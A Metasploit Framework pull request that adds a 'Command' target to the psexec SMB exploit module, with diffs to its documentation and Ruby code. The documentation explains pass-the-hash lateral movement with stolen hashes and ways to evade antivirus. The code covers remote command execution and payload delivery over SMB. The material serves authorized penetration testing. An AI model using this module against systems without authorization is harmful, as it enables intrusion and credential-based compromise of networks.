Skip to content

Add a command target to the main PSexec module #13812

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 3 commits into from
Jul 10, 2020
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
51 changes: 34 additions & 17 deletions documentation/modules/exploit/windows/smb/psexec.md
Original file line number Diff line number Diff line change
@@ -1,8 +1,5 @@
psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a stolen password could lead to a complete compromise of an entire corporate network.

The Metasploit Framework actually includes different module types of psexec for different scenarios. exploit/windows/smb/psexec is the father of them all and is used the same way
you normally would with any Metasploit exploits.

PSexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a
stolen password could lead to a complete compromise of an entire corporate network.

## Vulnerable Application

Expand All @@ -11,7 +8,9 @@ To be able to use exploit/windows/smb/psexec:
1. You must have a valid username/password.
2. The firewall must allow SMB traffic.
3. The target must use SMBv1.
4. The remote Windows machine's network security policy must allow it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the Windows machine does not allow it.
4. The remote Windows machine's network security policy must allow it. If you see
[one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the
Windows machine does not allow it.

## Verification Steps

Expand Down Expand Up @@ -43,7 +42,8 @@ meterpreter >

## Options

By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will probably need to at least configure:
By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will
probably need to at least configure:

**The SMBUser Option**

Expand All @@ -58,7 +58,8 @@ This can be either the plain text version or the Windows hash.

**Pass the Hash**

One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:
One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using
some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:

```
meterpreter > hashdump
Expand Down Expand Up @@ -93,28 +94,44 @@ meterpreter >

**Automatic Target**

There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target
detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natie upload. Each target is explained below.

**Powershell Target**

The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not
leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by
default.

Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports
Powershell before it tries it; the manually set Powershell target won't do that.

**Native Upload Target**

The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
SHARE datastore option), and then execute it with psexec.

This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to
use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the
`EXE::Custom` option.

**MOF Upload Target**

The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target
technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload
(exe) in SYSTEM32 and a managed object format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it
automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get
a session.

Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to
disk, there is also a high chance of getting caught by antivirus on the target.

Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
caught by antivirus on the target.
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template
datastore options or you can supply your own custom EXE by setting the EXE::Custom option.

The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
**Command**

The command target causes the psexec operation to execute an operating system command. This can either be a `cmd/windows/` payload provided
by Metasploit, or the user can specify their own by using the `cmd/windows/generic` payload and setting `CMD`. The output of the command
will be written to a file and then retrieved so that it is accessible. If the command does not immediately return, then reading the output
will fail.
10 changes: 5 additions & 5 deletions lib/msf/core/exploit/smb/client/psexec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -233,15 +233,15 @@ def execute_command(text, bat, cmd)
end
end

def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay, rt)
def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay: 0, retries: 0)
res = execute_command(text, bat, cmd)
if res
for i in 0..(rt)
for i in 0..(retries)
Rex.sleep(delay)
# if the output file is still locked then the program is still likely running
if (exclusive_access(text, smb_share, r_ip))
break
elsif (i == rt)
elsif (i == retries)
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
end
end
Expand Down Expand Up @@ -377,7 +377,7 @@ def get_output(file, smb_share, r_ip)
print_status("Getting the command output...")
output = smb_read_file(smb_share, r_ip, file)
if output.nil?
print_error("Error getting command output. #{$!.class}. #{$!}.")
print_error('Error getting command output' + ( $!.nil? ? '' : " #{$!.class}: #{$!}"))
return
end
if output.empty?
Expand All @@ -397,7 +397,7 @@ def exclusive_access(*files, smb_share, r_ip)
end
files.each do |file|
begin
print_status("checking if the file is unlocked")
vprint_status('Checking if the file is unlocked...')
fd = smb_open(file, 'rwo')
fd.close
rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => accesserror
Expand Down
2 changes: 1 addition & 1 deletion modules/auxiliary/admin/smb/ms17_010_command.rb
Original file line number Diff line number Diff line change
Expand Up @@ -100,7 +100,7 @@ def smb_pwn(ip)
@ip = ip

# Try and authenticate with given credentials
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY'])
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, delay: datastore['DELAY'], retries: datastore['RETRY'])

# Report output
print_good("Command completed successfully!")
Expand Down
8 changes: 7 additions & 1 deletion modules/auxiliary/admin/smb/psexec_command.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,12 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

include Msf::Module::Deprecated
deprecated(
Date.new(2020, 9, 16),
reason = "Use exploit/windows/smb/psexec and the 'Command' target with the cmd/windows/generic payload"
)

# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
Expand Down Expand Up @@ -67,7 +73,7 @@ def run_host(ip)
print_error("Unable to authenticate with given credentials: #{autherror}")
return
end
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY'])
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, retries: datastore['RETRY'], delay: datastore['DELAY'])

unless output.nil?
print_good("Command completed successfully!")
Expand Down
56 changes: 44 additions & 12 deletions modules/exploits/windows/smb/psexec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -59,13 +59,13 @@ def initialize(info = {})
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'PowerShell', { } ],
[ 'Native upload', { } ],
[ 'MOF upload', { } ]
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'Command', { 'Arch' => [ARCH_CMD] } ]
],
'DefaultTarget' => 0,
# For the CVE, PsExec was first released around February or March 2001
Expand All @@ -74,7 +74,7 @@ def initialize(info = {})

register_options(
[
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
OptString.new('SHARE', [false, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", ''])
])

register_advanced_options(
Expand All @@ -86,7 +86,28 @@ def initialize(info = {})
])
end

def native_upload_with_workaround
def execute_command_payload(smbshare)
text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt"
bat = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat"
command = payload.encoded

output = execute_command_with_output(text, bat, command, smbshare, datastore['RHOST'])

unless output.nil?
print_good('Command completed successfully!')
print_status("Output for \"#{ command }\":\n")
print_line("#{output}\n")
report_note(
:rhost => datastore['RHOST'],
:rport => datastore['RPORT'],
:type => 'psexec_command',
:name => command,
:data => output
)
end
end

def native_upload_with_workaround(smbshare)
service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''

Expand All @@ -96,10 +117,19 @@ def native_upload_with_workaround
connect(versions: [1])
smb_login
end
native_upload(datastore['SHARE'], service_filename, service_encoder)
native_upload(smbshare, service_filename, service_encoder)
end

def exploit
# automatically select an SMB share unless one is explicitly specified
if datastore['SHARE'] && !datastore['SHARE'].blank?
smbshare = datastore['SHARE']
elsif target.name == 'Command'
smbshare = 'C$'
else
smbshare = 'ADMIN$'
end

print_status("Connecting to the server...")
connect

Expand All @@ -125,19 +155,21 @@ def exploit

case target.name
when 'Automatic'
if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])
if powershell_installed?(smbshare, datastore['PSH_PATH'])
print_status('Selecting PowerShell target')
execute_powershell_payload
else
print_status('Selecting native target')
native_upload_with_workaround
native_upload_with_workaround(smbshare)
end
when 'PowerShell'
execute_powershell_payload
when 'Native upload'
native_upload_with_workaround
native_upload_with_workaround(smbshare)
when 'MOF upload'
mof_upload(datastore['SHARE'])
mof_upload(smbshare)
when 'Command'
execute_command_payload(smbshare)
end

handler
Expand Down